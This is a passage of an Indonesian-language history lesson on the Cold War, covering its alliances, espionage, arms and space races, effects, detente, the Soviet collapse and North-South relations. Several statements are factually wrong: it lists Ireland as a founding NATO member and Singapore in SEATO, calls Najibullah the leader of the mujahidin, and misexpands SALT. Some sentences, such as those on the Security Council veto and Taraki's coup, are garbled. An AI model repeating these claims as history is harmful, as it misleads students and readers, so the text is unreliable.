AS dan US mempunyai keinginan untuk menjadi penguasa di dunia dengan cara-cara yang baru. AS sebagai negara kreditor besar membantu negara-negara yang sedang berkembang berupa pinjaman modal untuk pembangunan dengan harapan bahwa rakyat yang makmur hidupnya dapat menjadi tempat pemasaran hasil industrinya dan dapat menjauhkan pengaruh sosialis komunis.

Masyarakat miskin merupakan lahan subur bagi paham sosialis komunis. Uni Soviet yang mulai kuat ekonominya juga tidak mau kalah membantu perjuangan nasional berupa bantuan senjata atau tenaga ahli. Hal ini dilakukan untuk mempengaruhi negara-negara tersebut.

3. Berdirinya Pakta Pertahanan

Guna mengatasi berbagai perbedaan yang ada dan kepentingan untuk dapat berkuasa maka negara-negara Eropa Barat dan Amerika Serikat mendirikan pakta pertahanan yang dikenal dengan nama NATO (North Atlantic Treaty Organization) atau Organisasi Pertahanan Atlantik Utara. Sementara untuk mengimbangi kekuatan NATO pada tahun 1955 Uni Soviet mendirikan pakta pertahanan yaitu PAKTA WARSAWA. Anggota Pakta Warsawa yaitu Uni Soviet, Albania, Bulgaria, Cekoslowakia, Jerman Timur, Hongaria, Polandia, dan Rumania.

Berdirinya kedua pakta tersebut menyebabkan muncul rasa saling curiga, ketidakpercayaan, dan kesalahpahaman antara kedua blok baik blok barat maupun blok timur. Amerika dituduh menjalankan politik imperialis untuk mempengaruhi dunia sementara Uni Soviet dianggap melakukan perluasan hegemoni atas negara-negara demokrasi melalui ideologi komunisme.

Keadaan tersebut memicu ketegangan kian memuncak sehingga muncullah persaingan senjata di antara kedua belah pihak. Masing-masing pihak saling diliputi oleh suasana Perang Dingin yang bahkan mengarah pada terjadinya Perang Dunia III.

B. BERLANGSUNGNYA PERANG DINGIN

Perang Dingin (Cold War) adalah ketegangan yang secara politis tampak saling bermusuhan karena adanya persaingan kepentingan. Perang Dingin dimulai setelah berakhirnya Perang Dunia II sejak pembagian Jerman menjadi 2 wilayah, yaitu Jerman Barat dan Jerman Timur. Pembagian Jerman menjadi 2 diikuti dengan pembagian kota Berlin menjadi Berlin Barat yang dikuasai oleh Amerika Serikat, Inggris dan Perancis sedangkan Berlin Timur dikusai oleh Uni Soviet tepatnya saat terjadi Konfrensi Yalta (Februari 1945).

Dalam waktu singkat (1945-1948) Uni Soviet berhasil membentuk pemerintahan komunis di Bulgaria, Rumania, Hongaria, Polandia, dan Chekoslowakia. Karena perkembangan pengaruh Uni Soviet sangat cepat dan pertumbuhannya pesat maka Amerika merasa perlu membendung berkembangnya gerakan komunis. Hingga akhirnya Amerika menyusun strategi politik Containment Policy yang bertujuan mencegah berkembangnya pengaruh suatu negara atau suatu sistem politik dari pihak lawan. Strategi politik tersebut dikembangkan melalui pemberian bantuan ekonomi dan militer seperti Marshall Plan dan Doctrine Truman yaitu bantuan berupa keuangan, militer, dan penasehat militer kepada Yunani dan Turki guna menghadapi gerilyawan komunis. Tujuannya untuk mempertahankan Yunani dan Turki dari peneterasi komunis dan menghambat jalur Uni Soviet menuju ke selatan yang akan mengancam negara-negara Barat. Sebab jika salah satu negara jatuh maka negara tetangga lainnya juga akan jatuh sehingga semua negara akan jatuh ke dalam pengaruh komunis. Uni Soviet berusaha menyaingi dengan membuat Molotov Plan dengan tujuan untuk menata kembali perekonomian negara-negara Eropa Timur dan badan kerja sama ekonomi Comicon (Cominteren Economic). Konflik ideologi tersebut berkembang sampai di Asia.

Selama berlangsungnya Perang Dingin, situasi dan kondisi dunia diwarnai oleh kegiatan sebagai berikut.

1) Perebutan Hegemoni/kekuasaan

· Kalahnya Jepang dari Sekutu menyebabkan seluruh wilayah Manchuria dan Korea diduduki Uni Soviet hingga berdampak semakin kuatnya Uni Soviet di daratan Cina serta wilayah Korea.

· Berdasarkan Konferensi Yalta maka semenanjung Korea dibagi 2 yaitu Utara dibawah kekuasaan Uni Soviet sehingga Kim Il Sung menjalankan pemerintahan atas dasar pemikiran komunis. Sementara di sebelah selatan, Amerika memilih Rhee Syngman sebagai orang yang menjalankan pemerintahan berdasarkan dasar-dasar demokrasi. Karena perbedaan ideologi ini maka menyebabkan munculnya perang saudara di Semenanjung Korea pada 25 Juni 1950 dan inilah titik balik dari Perang Dingin.

· Posisi komunisme di Cina semakin kuat karena bantuan senjata dari Uni Soviet yang berasal dari Jepang. Kuatnya komunisme di Cina menyebabkan berkembangnya komunisme di Asia Tenggara. Cina berusaha menghalangi propaganda imperialisme yang dilakukan oleh Amerika Serikat dan Inggris. Cina semakin mengembangkan komunismenya adapun alasannya adalah karena adanya keinginan untuk mengembalikan daerah kekuasaan Cina di zaman kuno meliputi Korea, Funan, Birma, India, bahkan lebih jauh termasuk daerah di Asia Tenggara. Selain alasan historis juga adanya alasan geografis dan kekayaan alam di Asia Tenggara guna memperkuat posisi ekonominya dalam dunia internasional. Karena alasan tersebutlah maka Cina semakin melibatkan diri di Asia Tenggara.

· Apa yang dilakukan Cina dan Uni Soviet semakin mengancam kehidupan di Asia Tenggara. Hal ini menjadi masalah yang cukup serius bagi Amerika Serikat sehingga membuat Amerika merasa perlu membantu negara-negara Asia Tenggara. Amerika akhirnya memutuskan membantu Perancis yang saat itu sedang berperang melawan Vietnam (dibantu Uni Soviet dan RRC) dengan harapan Vietnam tidak jatuh ke tangan komunis. Tetapi ternyata Vietnam menang dan secara otomatis Vietnam berada di bawah kekuasaan komunis.

· Jatuhnya Vietnam ke dalam kekuasaan komunis memungkinkan negara-negara di Asia Tenggara jatuh ke kuasaan komunis. Perjanjian Jenewa merupakan upaya untuk mengakhiri konflik antara kaum komunis dan non komunis yang membagi Vietnam menjadi 2 yaitu Vietnam Utara dan Selatan. Tetapi upaya ini tidak membuahkan hasil dan tidak mendatangkan kepuasan untuk mengakhiri konflik yang saling bertentangan di Vietnam. Pertentangan tersebut menyebabkan keterlibatan campur tangan pihak asing. Vietnam Utara sebagai negara komunis mendapat bantuan dan pengaruh dari Cina dan Uni Soviet sementara Vietnam Selatan sebagai negara demokrasi mendapat bantuan dari Amerika Serikat.

· Setelah bertahun-tahun diperjuangkan akhirnya tahun 1976 Vietnam dapat dipersatukan di bawah kekuasaan kaum komunis. Vietnam membentuk persatuan Indocina yang diberi nama Federasi Indocina dibawah kekuasaan komunis yang menjadi ancaman militer dan ideologi bagi negara-negara Asia Tenggara.

· Di Asia Tenggara terjadi rivalitas antarkomunisme tampak dengan adanya konflik antara Vietnam dan Kamboja mengenai masalah perbatasan. Dalam masalah ini Kamboja(Pol Pot) menolak usul penyelesaian konflik perbatasan melalui forum PBB. Di balik masalah Kamboja-Uni Soviet tidak lepas dari masalah politik yaitu konflik Sino-Soviet. Di belakang Kamboja berdiri Cina dan di pihak Vietnam terdapat Uni Soviet. Konflik Vietnam dan Kamboja adalah pertandingan dari jauh antara Cina dan Uni Soviet di Asia Tenggara sementara Vietnam dan Kamboja menjadi pion-pion yang bertempur di medan perang.

· Pertentangan ideologi antara negara Amerika Serikat dan Uni Soviet terjadi juga di Amerika dimana Presiden Kuba Fidel Castro mendirikan negara komunis di Kuba. Tindakan ini tentu saja mendapat reaksi keras dari Amerika Serikat dengan upaya mensponsori invasi gerakan anti komunis Kuba namun mengalami kegagalan. Titik ketegangan perang dingin ini terjadi di Teluk Babi pada tahun 1961.

· Negara di kawasan Amerika Tengah lainnya seperti Nikaragua juga dikuasai oleh kaum komunis. Dimana Nikaragua sejak 1970 sampai 1990 dikuasai oleh kelompok Gerilyawan komunis Sandinista (Front Pembebasan Nasional Sandinista).

· Di Afrika sayap kiri militer telah menguasai pemerintahan di Ethiopia antara tahun 1974-1991. Sistem pemerintahan sosialis membuat negara tersebut bersekutu dengan Uni Soviet. Di Angola dan Mozambik sejak 1975-1990 kelompok gerilya Marxis-Leninis menguasai pemerintahan.

· Di Afganistan (1978) pemerintahan berhaluan komunis pimpinan Noor Mohammad Tariki berhasil membangun Daoud Khan melalui kudeta berdarah. Untuk menyelamatkan rezim komunis di Afganistan yang saat itu mendapat perlawanan dari kelompok pimpinan Hafizullah Amin maka Uni Soviet pada Desember 1979 melakukan invasi militer ke Afganistan. Selain itu guna mengimbangi kekuatan bersenjata Amerika Serikat di Asia Barat Daya dan pengaruh liberalismenya. Tetapi invasi ini mendapat perlawanan dari kelompok Mujahidin yang dipimpin Mohammad Najibullah yang akhirnya berhasil memukul mundur pasukan Uni Soviet dan pada 1989 pasukan Soviet ditarik mundur dari Afganistan.

Selama Perang Dingin berlangsung kedua negara adikuasa tidak pernah terlibat secara langsung dalam suatu konflik (peperangan) secara terbuka. Mereka selalu berada di belakang negara-negara yang sedang bersengketa. Mereka memberikan bantuan persenjataan dan memenuhi kebutuhan hidup masyarakat negara-negara yang sedang bersengketa.

2) Sistem Aliansi

Ketika perang dingin memuncak maka setiap negara yang bertentangan berusaha memperkuat dirinya dengan bergabung dalam satu aliansi. Bentuk sistem aliansi baik yang dilakukan blok Timur maupun blok Barat adalah sebagai berikut.

Pembentukan Cominform (The Communist Information Bureau) pada tahun 1947. Cominform adalah wadah kerja sama partai-partai komunis Eropa yang berpusat di Beograd, Yugoslavia.

Pembentukan NATO (North Athlantic Traty Organization) 4 April 1949. Negara yang menjadi anggotanya yaitu Inggris, Irlandia, Islandia, Norwegia, Denmark, Belgia, Belanda, Luxemburg, Perancis, Portugal, Kanada, dan Amerika Serikat. Tujuannya untuk membendung komunis mulai dari Eropa Utara sampai Turki dan Yunani.

Pembentukan Pakta Warsawa pada 1955 dengan negara Jerman Timur, Cekoslovakia, Hongaria, Bulgaria, Polandia, Rumania, dan Albania. Pakta Warsawa merupakan kerjasama pertahanan dan keamanan negara-negara komunis.

Perjanjian antara RRC dan Uni Soviet tahun 1950 mengenai kerja sama dianatara kedua negara guna menghadapi kemungkinan agresi Jepang.

Pembentukan Pakta ANZUS (Australia, New Zealand, and United State), yaitu pakta pertahanan negara-negara Amerika Serikat, Australia,dan Selandia Baru pada tahun 1951.

Pembentukan SEATO (South East Asia Treaty Organization) pada tahun 1954. SEATO merupakan kerjasama pertahanan antara negara-negara Asia Tenggara dengan pihak Barat. Dengan anggotanya antara lain, Amerika Serikat, Inggris, Perancis, Filipina, Singapura, dan Selandia Baru.

3) Kegiatan Spionase

Perebutan hegemoni selama perang dingin antara Uni Soviet dan Amerika Serikat terhadap berbagai kawasan baik di Eropa, Asia, Amerika, dan Afrika selalu didukung oleh kegiatan agen intelijen yang mereka miliki.

Kegiatan Spionase (mata-mata) tercermin dari tindakan yang dilakukan oleh agen spionase kedua belah pihak yaitu antara KGB dan CIA. KGB (Komitet Gusudarstvennoy Bezopasnosti) merupakan dinas intelegen sipil atau dinas rahasia Uni Soviet sedangkan CIA (Central Intelligence Agency) yang merupakan dinas rahasia Amerika Serikat yang bertugas untuk mencari keterangan tentang negara-negara asing tertentu.

KGB dan CIA selalu berusaha untuk memperoleh informasi rahasia mengenai segala hal yang menyangkut kedua belah pihak atau negara-negara yang berada di bawah pengaruh kedua belah pihak. Mereka juga membantu terciptanya berbagai ketegangan di dunia. Misalnya, CIA turut membantu orang-orang Kuba di perantauan untuk melakukan serangan ke Kuba tahun 1961 yang disebut Insiden Teluk Babi. Di pihak lain, Uni Soviet memberikan dukungan kepada Fidel Castro (Presiden Kuba) dalam menghadapi invasi tersebut.

4) Perlombaan Teknologi Persenjataan dan Ruang Angkasa

Perang dingin antara dua negara adidaya ditandai oleh perimbangan persenjataan nuklir dan personil militer. Sehingga kegiatan ini disebut sebagai politik Balance of Power. Unjuk kekuatan kedua negara adidaya tersebut diikuti perlombaan dalam bidang teknologi militer dan ruang angkasa dimana keduanya saling unjuk kecanggihan.

Jika muncul isu sensitif dapat saja membawa kedua belah pihak pada isu global yang menyebabkan munculnya perang secara terbuka. Perang dingin juga dapat menimbulkan perlombaan senjata antara pihak Amerika Serikat dan Uni Soviet. Perlombaan senjata yang dilakukan kedua negara tersebut berupa perlombaan senjata nuklir. Perlombaan senjata nuklir ini dikhawatirkan akan menyebabkan meletusnya perang nuklir yang dasyat yang dapat membahayakan kelangsungan hidup umat manusia dan makhluk hidup lainnya di dunia sebab jangkauan senjata nuklir sangatlah luas bisa menjangkau antarnegara dan antarbenua.

Kedua blok membangun pusat-pusat tombol peluncuran senjata nuklir berbagai negara yang berada di bawah pengaruhnya. Untuk mengurangi meningkatnya perlombaan senjata nuklir pada kedua belah pihak maka PBB membentuk Atomic Energy Commission yang bertujuan mencari jalan dan cara untuk mengembangkan penggunaan tenaga atom untuk maksud damai serta mencegah penggunaannya untuk tujuan perang. Pada akhir Desember 1946 komisi setuju untuk mengadakan pengawasan dan pengaturan ketat guna mencegah produksi senjata-senjata atom yang dilakukan secara diam-diam. Tetapi Uni Soviet keberatan dan mengemukakan usul pengurangan senjata secara menyeluruh. Sementara AS tidak setuju, hingga akhirnya US memveto usul AS dalam sidang Dewan keamanan. Pada tahun 1949, US mengadakan uji coba peledakan bom atomnya yang pertama. Yang ditanggapi dengan pembuatan bom hidrogen oleh AS yang diuji pada November 1952, meskipun begitu ternyata US pun sudah dapat membuat bom hidrogen sendiri.

Hingga tahun 1983, perbandingan kekuatan senjata nuklir Uni Soviet menunjukkan posisi yang

unggul dibanding dengan kekuatan Amerika Serikat.

C. DAMPAK PERANG DINGIN

Dampak perebutan pengaruh antara Amerika Serikat dengan Uni Soviet tampak pada:

a. Bidang Politik

Amerika Serikat berusaha menjadikan negara-negara yang sedang berkembang menjadi negara demokrasi agar hak asasi manusia dapat dijamin. Bagi negara-negara yang sebelumnya kalah seperti Jerman dan Jepang berkembang pula kapitalisme selain demokrasi. Negara-negara tersebut dapat sehaluan dengan AS dan merupakan negara pengaruhnya.

Uni Soviet dengan paham sosialis-kominunis mendengungkan pembangunan negara dengan Rencana Lima Tahun. Cara tersebut dilakukan dengan ditaktor bukan liberal. Bagi negara satelit (dibawah pengaruh) Uni Soviet yang melakukan penyimpangan akan ditindak keras oleh US seperti contohnya Polandia dan Hongaria. Demi kepentingan politik, ekonomi, dan militer kedua negara adikuasa tersebut menjalankan politik pecah belah sehingga beberapa negara menjadi terpecah seperti Korea, Vietnam, dan Jerman.

b. Bidang Ekonomi

AS sebagai negara kreditor terbesar memberikan pinjaman atau bantuan ekonomi kepada negara-negara yang sedang berkembang berupa Marshall Plan. AS juga memberikan bantuan ”Grants in Aid” yaitu bantuan ekonomi dengan kewajiban mengembalikan berupa dollar atau dengan membeli barang-barang Amerika Serikat. Bagi negara-negara di Asia Presiden Truman mengeluarkan “The Four Points Program for the Economic Development in Asia” berupa teknik dalam wujud perlengkapan-perlengkapan ekonomis atau bantuan kredit yang berasal dari sektor swasta di Amerika Serikat yang disalurkan oleh pemerintah kepada negara-negara yang sedang berkembang.

Dengan adanya perang dingin ini maka berbagai bentuk kerjasama yang saling menguntungkan antara Eropa Timur dan Eropa Barat tidak dapat terjalin. Kegiatan tersebut terhambat karena negara-negara Eropa merasa kawatir jika suatu saat wilayahnya akan dijadikan sasaran adu kekuatan oleh kedua negara adikuasa tersebut. Dampaknya perekonomian antara blok barat (negara-negara Eropa Barat) dan blok timur (negara-negara Eropa Timur) tidak seimbang dimana negara-negara blok barat jauh lebih maju daripada blok timur.

c. Bidang Militer

Perebutan pengaruh antara AS dan US dalam pakta pertahanan. Negara-negara barat membentuk North Atlantic Treaty Organization (NATO) tahun 1949 sebagai suatu organisasi pertahanan. Bila salah satu anggotanya diserang maka dianggap sebagai serangan terhadap NATO. Awalnya bermarkas di Paris tetapi kemudian Perancis keluar karena mengganggap NATO didominasi oleh AS dan markasnya berpindah di Brussel. Hubungan Perancis dengan Uni Soviet dan RRC jauh lebih baik jika dibandingkan hubungan dengan negara Barat lainnya meskipun Perancis tidak menjadi anggota Blok Timur.

Di Asia Tenggara dibentuk South East Asia Treaty Organization (SEATO) athun 1954 atas dasar South East Asia Collective Defence Treaty. Anggota utamanya adalah negara-negara barat sementara negara-negara di Asia Tenggara seperti Indonesia justru tidak ikut serta. Pakta pertahanan tersebut ditujukan terhadap komunis di Asia Tenggara khususnya di Vietnam. SEATO bubar pada tahun 1975.

Sementara Uni Soviet dengan negara-negara blok Timur membentuk Pakta Warsawa (1955) atas dasar “Pact of Mutuaal Assistance and Unified Command”. Di Asia Tenggara Uni Soviet memberikan bantuan peralatan militer dan teknisi kepada Vietnam yang akhirnya dapat mendesak Amerika Serikat keluar dari negara tersebut(1975).

d. Bidang Ruang Angkasa

Perang Dingin antara Amerika Serikat dan Uni Soviet membawa pengaruh terhadap penjelajahan ruang angkasa. Amerika Serikat dan Uni Soviet saling berebut menguasai ruang angkasa karena dunia dirasa terlalu sempit untuk diperebutkan.

· Berawal dari upaya Uni Soviet meluncurkan pesawat Sputnik I dan Sputnik II yang ditandingi AS dengan meluncurkan pesawat Explorer I dan Explorer II, Discovere dan Vanguard.

· Diikuti dengan usaha Uni Soviet untuk mendaratkan Lunik di bulan serta astronot pertamanya Yuri Gagarin dengan pesawat Vostok I yang berhasil mengitari bumi selama 108 menit. Sementara Amerika Serikat mengirim astronot pertamanya yaitu Alan Bartlett Shepard yang berada di luar angkasa selama 15 menit.

· Uni Soviet menunjukkan kelebihannya dengan meluncurkan Gherman Stepanovich Titov yang mengitari bumi selama 25 jam dengan Vostok II. Disusul Amerika Serikat meluncurkan WSJohn H. Glenn dengan pesawat Friendship VII yang berhasil mengitari bumi sebanyak 3 kali.

Dampak Perang Dingin bagi Indonesia :

ü Sistem politik-ekonomi Indonesia telah dibawa pada arus komunisme-sosialisme pada masa Orde Lama. Sementara pada masa Orde baru berkembang liberalisme-kapitalisme.

ü Pada masa akhir dua kepemimpinan di atas, Indonesia mengambil keterpurukan ekonomi.

D. AKHIR PERANG DINGIN

Kedua negara adikuasa akhirnya menyadari bahwa hubungan anatar keduanya sudah sanagat panas, oleh karena itu mereka ingin mengurangi ketegangan yang ada sebelum akhirnya menyebabkan perang terbuka yang diperkirakan akan menghancurkan seluruh dunia dengan adanya Perang Dunia III. Sehingga sejak 1970-an hubungan antarnegara dunia mulai membaik dan ketegangan dalam perang dingin mulai berkurang. Pengurangan ketegangan terhadap pihak yang bertikai disebut Detente. Detente ditandai oleh peristiwa sebagai berikut.

1. Isu Berlin Barat dapat diselesaikan dalam meja perundingan tahun 1971.

2. Inggris mulai bergabung dengan Masyarakat Ekonomi Eropa.

3. Negara barat mulai menjalin hubungan diplomatik dengan RRC pada 1973.

4. Terjadi kesepakatan antara Amerika Serikat dan Uni Soviet dengan ditandatanganinya persetujuan SALT I (Strategic Arm Limited Task) dan SALT II atau pembatasan persenjataan strategis.

SALT I merupakan perundingan pembatasan persenjataan strategis yang berlangsung di Helsinki, Finlandia tanggal 17 November 1969. Hasil perundingan ini ditandatangani oleh Richard Nixon (Presiden Amerika Serikat) dan Leonid Brezhnev (Uni Soviet).

SALT II merupakan perundingan pembatasan persenjataan strategis yang berlangsung di Jenewa, Swiss pada November 1972 tetapi hasilnya baru ditandatangani 18 Juni 1979 di Wina, Austria oleh Jimmy Carter (Amerika Serikat) dan Leonid Brezhnev (Uni Soviet).

5. Presiden Ronald Reagen meningkatkan kemampuan persenjataan balistiknya yang mempengaruhi sikap Mikhail Gorbachev untuk melakukan persetujuan pembatasan nuklir balistik tahun 1987. Dampak dari perjanjian ini antara lain Uni Soviet mengurangi kekuatan angkatan perangnya di Eropa Timur dan mulai memusatkan pembenahan ekonomi serta kehidupan politik dalam negeri yang lebih demokratis.

6. Deng Xiaoping berhasil menguasai Partai Komunis Cina (PKC) setelah meninggalnya Mao Tse Tung. Deng Xiaoping merupakan pemimpin kelompok yang menghendaki reformasi ekonomi. Programnya adalah membangkitkan sistem pertanian dan bisnis yang berdasarkan milik pribadi. Penanaman modal asing mulai masuk kembali terutama dalam sektor jasa dan diharapkan dapat berproduksi untuk tujuan ekspor. Hal ini menunjukkan adanya gejala kapitalisme dalam kehidupan komunisme di Cina. Tetapi reformasi ekonomi yang ada tidak diimbangi dengan adanya reformasi politik sehingga kehidupan politik masih dikendalikan oleh partai Komunis. Dampaknya muncul bentrokan dengan mahasiswa seperti 1989 terjadi Tragedi di Lapangan Tiananmen, Beijing dimana terjadi demonstrasi besar-besaran tetapi mendapatkan perlawanan bahkan para pelakunya diawasi secara ketat.

Pertumbuhan ekonomi Uni Soviet tidak mengalami pertumbuhan sehingga ekonomi Uni Soviet mengalami kemerosotan yang parah. Sebagai ideologi akhirnya komunisme mulai mengalami kebangkrutan di berbagai belahan dunia sejak 1970an. Berawal dari upaya Uni Soviet untuk mengalihkan energi mereka untuk menyelesaikan masalah dalam negeri mereka. Adapun masalah yang muncul di Uni Soviet antara lain :

ü ketidakpuasan kelas menengah dan kelompok elit pemerintahan komunis sendiri,

ü tekanan kelompok etnis non Rusia,

ü korupsi yang timbul di kalangan birokrasi dan partai dalam pemerintahan,

ü dana anggaran belanja yang defisit karena biaya pendudukan pasukan Uni Soviet di beberapa negara Eropa Timur,

ü ketertinggalan teknologi dan peralatan industri sehingga kapasitas produksi makanan untuk mencukupi kebutuhan rakyatnya menurun.

Perang Dingin akhirnya berakhir karena:

1. Sampai 1980, 11 % GNP Uni Soviet dibelanjakan untuk kepentingan militer. Uni Soviet mengalokasikan dana besar-besaran bagi negara yang berada dibawah kekuasaannya agar negara tersebut tidak lepas dari kendalinya.

2. Tahun 1980, harga minyak jatuh sehingga keadaan ekonomi Uni Soviet yang tidak stabil benar-benar berhenti. Padahal serbelumnya Uni Soviet sangat tergantung dengan ekspor minyaknya sementara sejak 1980 minyak tidak mampu membiayai Perang Dingin.

3. Muncul krisis kredibilitas/kepercayaan terhadap sistem komunisme.

Dampaknya muncul pemikiran dari para cendekiawan yang memahami pandangan barat sehingga mendorong munculnya keinginan seperti warga negara di negara-negara non komunis.

Dalam kondisi yang buruk Mikhail Gorbachev (11 Maret 1985) harus memimpin Uni Soviet dengan tugasnya yaitu memperbaiki perekonomian Uni Soviet yang semakin buruk.

Langkah yang ditempuh adalah dengan melakukan Reformasi yang terkenal dengan Perestroika dan Glasnost.

PERESTROIKA merupakan restrukturisasi (penataan kembali struktur) yang sudah rusak. Tujuannya guna mengatasi stagnasi untuk akselerasi (penyamaan) kemajuan sosial dan ekonomi. Perestroika merupakan pengembangan menyeluruh dari demokrasi yang diprakarsai massa. Jadi Perestroika adalah langkah pembaharuan untuk mempersatukan sosialisme dengan demokrasi melalui keterbukaan politik atau GLASNOST.

Kebijakan ini memberikan dampak yang tidak terduga sebelumnya yaitu pertentangan sosial di dalam masyarakat muncul. Kelompok yang bersengketa antara lain sebagai berikut.

Kelompok Moderat, yaitu kelompok yang menyetujui reformasi tetapi menjalankan komunisme yang disempurnakan.
Kelompok Konservatif, yaitu kelompok yang menentang reformasi dan ingin mempertahankan komunisme.
Kelompok Radikal, yaitu kelompok yang mendukung reformasi tetapi ingin meninggalkan komunisme.

4. Pada 19 Agustus 1991, Gennadi Yanayev (pemimpin kelompok konserfatif) melancarkan kudeta terhadap Gorbachev tetapi upaya ini dapat digagalkan oleh Boris Yeltsin (pemimpin kelompok Radikal) sehingga Gorbachev dapat diselamatkan dan nama Yeltsin mulai melambung di pentas politik Uni Soviet. Yeltsin tidak mampu membendung gelora semangat Perestroika dan Glasnost terbukti dengan banyaknya negara bagian Uni Soviet yang melepaskan diri dan menjadi negara merdeka sehingga Runtuhlah Uni Soviet.

5. Uni Soviet mulai mengurangi kekuatan senjatanya di Eropa Timur seperti pada 1989 Uni Soviet menarik tentaranya dari Afghanistan. Akhirnya kekuasaan komunis mulai runtuh di negara-negara Eropa Timur dimana Jerman kembali bersatu.

6. Secara resmi Uni Soviet dibubarkan pada 8 Desember 1991 ditandai dengan penurunan bendera Uni Soviet dan dikibarkan bendera Rusia. Rusia dan negara-negara bekas Uni Soviet yang lain mulai muncul sebagai negara yang merdeka.

Runtuhnya kekuatan Uni Soviet di Eropa Timur mengakhiri Perang Dingin. Uni Soviet merupakan contoh keberhasilan dari ideologi Marxis-Leninis yang diaktualisasikan menjadi negara.

E. DAMPAK BERAKHIRNYA PERANG DINGIN

Berakhirnya Perang Dingin memberikan dampak luas bagi perubahan dunia:

Terjadinya perubahan di Eropa Timur, Rusia dan Jerman dalam upaya mengakhiri kekuasaan komunis dan dominasi Uni Soviet di daerah tersebut.

Muncul perubahan politik dan ekonomi dunia yang menimbulkan terciptanya hubungan secara menyeluruh (global) maupun kawasan (regional), yang terlihat dengan:

ü Kebangkitan Jepang,

Setelah perekonomian Jepang lumpuh akibat perang dunia II dan serangan sekutu terhadap kota Jepang maka rakyat Jepang mulai bangkit untuk membangun kembali ekonomi negara yang hancur tersebut.Dalam perkembangannya Jepang mampu memanfaatkan segala dukungan dan bantuan Amerika Serikat bahkan akhirnya Jepang mampu mengambil alih fungsi-fungsi ekonomi global yang disandang Amerika Serikat dan mampu memberikan bantuan ekonomi bagi negara di kawasan Asia Pasifik. Hingga akhirnya Jepang mampu mendominasi kedudukan di daerah Asia-Pasifik sebagai pasar impor, penyedia bantuan luar negeri, dan sumber investasi asing yang dia pertahankan hingga sekarang.

ü berdirinya Group of Seven, (Perancis,Jerman Barat,Jepang,Inggris,Amerika Serikat,Kanada dan Italia yang bergabung untuk memecahkan masalah ekonomi dunia),

ü berdirinya European Union (bentuk kerja sama ekonomi antara negara Eropa Barat),

ü berdirinya Gerakan Nonblok,

ü berdirinya ASEAN (stabilitas politik regional dan pembangunan ekonomi masing-masing negara anggota),

ü berdirinya APEC, dan

ü berdirinya OKI.

Muncul ketergantungan satu sama lain sehingga terjadi transformasi kekuasaan silih berganti.

Terbentuklah tatanan dan nilai baru di dunia yang lebih damai, aman dan sejahtera.

Berakhirnya Perang Dingin mampu mengakhiri semangat sistem hubungan internasional bipolar (melibatkan 2 blok yaitu blok barat dan timur) dan berubah menjadi sistem multipolar, yaitu mengalihkan persaingan yang bernuansa militer ke persaingan ekonomi di antara negara-negara di dunia dan mengubah isu-isu fokus hubungan internasional dari high politics (isu yang berhubungan dengan politik dan keamanan) menjadi is-isu low politics (seperti isu terorisme, hak asasi manusi, ekonomi, lingkungan hidup, dsb) yang dianggap sama pentingnya dengan isu high politics.

Terbentuk hubungan kerjasama utara-selatan dan selatan-selatan.

Setelah Perang Dunia II dunia tidak lagi terbagi atas blok barat dan blok timur melainkan kelompok utara dan kelompok selatan. Istilah utara dan selatan dalam hal ini lebih bernilai ekonomis jika dibandingkan dengan nilai geografis.

· Kelompok Utara merupakan kelompok negara industri maju yang memiliki teknologi canggih serta produksi industri yang selalu meningkat.

Negara Utara meliputi negara-negara yang berada di belahan bumi bagian utara meliputi, Kanada, Amerika Serikat, Perancis, inggris, Jerman Barat, Italia, dan Jepang.

Secara ekonomis mereka memiliki ekonomi yang kuat.

Berdasarkan kekayaan alam, negara maju tidak memiliki kekayaan alam yang cukup tetapi kekurangan tersebut dapat diatasi dengan penguasaan teknologi. Jadi mereka sangat unggul dalam bidang ilmu pengetahuan dan teknologi tetapi kurang didukung oleh sumber daya alam yang melimpah.

· Kelompok Selatan merupakan kelompok negara yang sedang berkembang atau negara miskin. Negara Selatan meliputi negara yang terletak di belahan bumi bagian selatan seoperti kawasan Asia, afrika, dan Amerika Latin.

Secara ekonomis, mereka memiliki ekonomi yang lemah yang mengandalkan hidupnya pada bidang pertanian.

Berdasarkan kekayaan alam, negara selatan memiliki sumber daya alam yang melimpah namun kurang didukung oleh penguasaan teknologi.

Negara utara cenderung memaksakan model pembangunan mereka terhadap negara-negara Selatan. Pelaksanaan tersebut akan mereka lakukan melalui perundingan dalam lembaga keuangan internasional, seperti IMF dan Bank Dunia. Rencananya kedua lembaga keuangan ini untuk menolong semua negara di dunia dalam kegiatan pembangunan tetapi ternyata dipakai sebagai alat oleh negara-negara di Utara untuk memaksakan model pembangunan yang menguntungkan negara-negara yang kuat. Program yang mereka keluarkan adalah Program Penyelesaian Terstruktur atau Structural Adjustment Program (SAP). Dampak adanya program ini maka akan memaksa :

ü Negara-negara yang mendapat bantuan utang untuk lebih membuka pasar dalam negeri mereka,

ü Menekankan kegiatan ekonomi yang menghasilkan barang-barang yang bisa diekspor,

ü Mengurangi subsidi pemerintah terhadap sektor publik.

Dengan program ini mampu membuat rakyat jelata semakin miskin, sebagai contoh Negara Afrika dan Amerika Latin.

Kedua kelompok tersebut masing-masing mempunyai potensi dan peran yang penting dalam perekonomian internasional. Harapannya hubungan utara-selatan ini akan menghasilkan kemakmuran bagi semua negara di dunia tetapi kenyataannya hanya menciptakan kemakmuran bagi negara-negara di kawasan Utara dan merugikan negara-negara di kawasan Selatan. Kerugian dan kesengsaraan yang diderita negara selatan antara lain :

ü Penurunan nilai tukar bagi barang-barang yang dihasilkan

ü Kerusakan lingkungan yang semakin memprihatinkan

ü Ketergantungan yang semakin tinggi terhadap negara-negara di kawasan Utara

ü Kesenjangan (jurang pemisah) yang semakin lebar dan dalam antara Utara dan Selatan.

Sementara itu jika kita lihat negara-negara selatan memiliki kelebihan dan peran penting, diantaranya :

ü Sebagian besar merupakan negara-negara penghasil bahan mentah/bahan baku mogas dan non migas.

ü Penduduknya padat dan menjadi sasaran yang potensial bagi pemasaran hasil-hasil industri negara-negara maju.

ü Negara-negara selatan merupakan tempat yang tepat bagi negara-negara utara dalam menanamkan modal.

ü Jumlah negara yang sedang berkembang lebih dari separuh jumlah negara-negara di dunia dan tentu saja memiliki jumlah penduduk yang lebih banyak.

Mengingat keadaan yang semakin tidak baik yang dialami oleh negara-negara Selatan sendiri. Negara Selatan harus meningkatkan kekuatan politik dan ekonomi mereka. Negara Utara harus membiarkan negara selatan bebas melaksanakan pembangunan alternatif mereka tanpa melakukan pembatasan terhadap negara-negara tersebut. Negara di Utara harus melaksanakan kebijakan ekonomi dan kebijakan luar negeri yang didasarkan atas kepentingan jangka panjang yang sehat.

